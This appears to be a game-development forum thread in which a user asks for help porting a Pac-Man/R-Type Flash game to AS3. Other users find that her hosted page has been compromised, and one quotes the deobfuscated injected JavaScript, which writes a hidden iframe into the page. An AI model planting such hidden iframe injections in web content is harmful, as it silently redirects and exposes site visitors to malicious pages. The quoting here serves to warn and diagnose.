Invisible Enemies/Score Updating - SOLVED

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Hey Folks!

I am super-shiny new to AS3, and did my best to port over the mechanics of my AS2 game from the Shootorials. (DevouringLove: My hosting as been compromised, link removed!

Issue: I have many broken things that I’m trying to figure out, the main ones being:
- One of my enemies pops up right at the beginning of the level
- The hit detection doesn’t show up as a problem in the debugger anymore, but it’s definitely not working (Pacman collision should “eat” ghosts)
- The GameOver screen doesn’t disappear after hitting a Normal or Hard button

Current project: R-Type/Pacman crossover “PAC-Type”
My hosting as been compromised, link removed!
You can go right for the SWF or dissect the AS files from there. The FLA is also there as well.

Feel free to let me know of other broken/missing elements as I work through this port. Your help is extremely appreciated!

Thank you very much!
- Jen

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Guys be careful with the 1st link, my antivirus picked it up as an HTTP Malicious Toolkit Variant Activity.

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A heavily obfuscated script on that page turns into this:

window.status='Done';document.write('<iframe name=c87e src="'+Math.round(Math.random()*7524)+'c87e'+'" width=198 height=38 style="display:none"></iframe>')

Which opens a bunch of frames and loops, hitting what might be an ad counter, and some other sites with single-use codes, and another site with another eval I can’t be bothered to check.

In short, VERY BAD. Either InLiquidWonder is a naughty boy or has a compromised web server or publishing/upload program

Flag Post – Seriously, this page doesn’t load and you are getting re-directed?! I’m terribly sorry, I will look into this right away!

I never saw these errors before – the only thing I can think would do that is that I am using a friend’s PHP script to show the contents of the folders on my server. (http://www.&#215; I just grabbed the most recent version of this script, and sincerely hope it doesn’t continue to give you errors. I have also encountered bugs like this when visiting my friend’s pages on their own servers, but it seemed like a bug planted itself on my end that kept re-routing me. I hope the issue doesn’t continue! I checked both pages this morning after the PHP update and they loaded innocuously, no errors or virus warnings. (I am using Firefox 3). Thank you for letting me know!

To get around this issue, I zipped up the PAC-Type source here:

Thank you for your help!
- Jen

Edit: I checked with my friend, the coder of the PHP, who looked at both sites and had no problem looking at the index.php sites. He also received no errors… I left a support ticket with my hosting, but so far, I’ve been able to go on both sites numerous times throughout the day without this problem, nor did it occur when I checked the uploads last night to verify that they were working. Quirky…

Flag Post <- that page appears uncompromised <- that one has the malicious javascript <- your main page is chock full of spammer links, if you look at the source

You won’t necessarily get errors. Go to a different computer than has never opened your site, turn off javascript, visit the compromised pages, and view the source.

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Wow, someone has totally screwed with my hosting in the past 24 hours… totally terrifying. This appears to be a malicious bot that has hit many site’s index.html across all of Host Department’s (my webhosting service) websites, including all of my game projects…

How awesome.

I will remove my links immediately. If you host with Host Department, please check on all of your websites as soon as possible. Thank you, explodingferret, for helping me figure this out!

Despite this horrific off-topic issue, I do seriously need assistance with my AS3 code. I have it here on Yousendit, which bypasses this domain hacking issue:

I can also repost this in a new topic, if an admin feels this one is too cluttered with the hosting issue.

Thank you,

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Hey folks – I worked through these issues today, and most things are A-OK! Thread Closed!

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I think you can edit the title of a thread you start to say “problem solved” or something.